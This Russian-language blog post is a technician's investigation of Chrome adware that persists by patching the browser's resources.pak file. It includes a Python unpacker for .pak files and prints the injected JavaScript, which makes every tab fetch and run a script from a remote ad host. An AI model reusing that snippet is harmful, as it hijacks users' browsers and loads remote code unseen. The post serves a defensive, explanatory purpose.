Новый adware встраивается непосредственно в браузер

в 22:22, , рубрики: adware, chrome, Google Chrome, информационная безопасность, системное администрирование

Появился новый вид adware, который встраивается в сам браузер.

Новый adware встраивается непосредственно в браузер - 1 Очередной компьютер с жалобой на рекламу в браузере — как обычно по словам пользователя ничего не запускалось, но факт налицо — реклама вылазит почти на каждом сайте из всех щелей и подменяются поисковые запросы. Обычно большинство подобных проблем решаются сразу же за пять минут с помощью AntiSMS, затем проверяется журнал работы программы и при необходимости подчищаются хвосты вроде сторонних расширений в браузерах, но не в этом случае. Сходу не помогло ничего из обычных средств, даже антивирусы не видели в системе никаких проблем, а потому стало интересно — откуда же берётся реклама?

Для экономии времени перед ручной работой система была быстро проверена через AVZ, Dr.Web CureIt! и Kaspersky Virus Removal Tool — все отчитались о чистоте системы в то время, как на фоне их работы показывалась та самая реклама. Что характерно, в системе были удалены все остальные браузеры, остался только Google Chrome, да и новые способы заражения встречаются не часто, поэтому на него подозрение пало в последнюю очередь.

Первым делом был обнаружен рекламный модуль от компании Express Find с этой же легальной цифровой подписью от 8 апреля, совсем свежий. Он использовал одновременно три места автозапуска, однако после его удаления реклама чудесным образом продолжала показываться. Дальнейшее расследование показало, что она остаётся даже при создании нового профиля. Бывало раньше adware обосновывалась там, но здесь разработчики решили проявить креатив, чтобы реклама сопровождала пользователя с любым профилем и под любой учётной записью.

Дальше была исследована сама папка, в которой Google Chrome был установлен. На вид всё хорошо — все файлы имеют цифровую подпись, ничего необычного. Однако для проверки папка была переименована и тут же установлен новый хром той же версии. Тогда обнаружилось, что файл resources.pak отличается от оригинального и проблема находится именно здесь. Ресурсы сразу же были заменены для проверки и всё подтвердилось — виновник найден. Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне:

import collections
import struct
import sys
def ReadFile(filename, encoding):
  mode = 'rb' if encoding == 0 else 'rU'
  with open(filename, mode) as f:
    data = f.read()
  if encoding not in (0, 1):
    data = data.decode(encoding)
  return data

PACK_FILE_VERSION = 4
HEADER_LENGTH = 2 * 4 + 1  # Two uint32s. (file version, number of entries) and
                           # one uint8 (encoding of text resources)
def UnpackDataPack(input_file):
  """Reads a data pack file and returns a dictionary."""
  data = ReadFile(input_file, 0)
  original_data = data

  # Read the header.
  version, num_entries, encoding = struct.unpack("<IIB", data[:HEADER_LENGTH])
  if version != PACK_FILE_VERSION:
    print "Wrong file version in ", input_file
    raise WrongFileVersion

  resources = {}
  if num_entries == 0:
    return DataPackContents(resources, encoding)

  # Read the index and data.
  data = data[HEADER_LENGTH:]
  kIndexEntrySize = 2 + 4  # Each entry is a uint16 and a uint32.
  for _ in range(num_entries):
    id, offset = struct.unpack("<HI", data[:kIndexEntrySize])
    data = data[kIndexEntrySize:]
    next_id, next_offset = struct.unpack("<HI", data[:kIndexEntrySize])
    resources[id] = original_data[offset:next_offset]
    filetype = 'bin'
    fileheader = ''.join(original_data[offset:offset+1])
    print ord(fileheader[0])
    if fileheader == '<':
      filetype = 'html'
    if fileheader == 'x89':
      filetype = 'png'
    elif fileheader == '/':
      filetype = 'js'
    of = open('{0}.{1}'.format(id,filetype),'wb')
    of.write(original_data[offset:next_offset])
    of.close()
def main():
  if len(sys.argv) > 1:
    UnpackDataPack(sys.argv[1])


if __name__ == '__main__':
  main()

Им были успешно распакованы две версии ресурсов и после сравнения обнаружилось, что в начало одного из скриптов adware дописал следующий блок:

chrome.tabs.onUpdated.addListener( function(tabId,changeInfo,tab){ chrome.tabs.executeScript(tabId,{code:" if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('script'); scr.src='https://expressfind-a.akamaihd.net/ExpressFind/cr?t=BLGC&g=ca4874d9-0a3e-4215-9772-67fb5ba1c08a'; document.head.appendChild(scr);} "})});

Таким образом действующий сайт по https с легальной цифровой подписью загружает рекламу и успешно обходит антивирусы. А новый способ внедрения позволяет методу работать даже после полного удаления adware из системы.

Автор: simplix

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js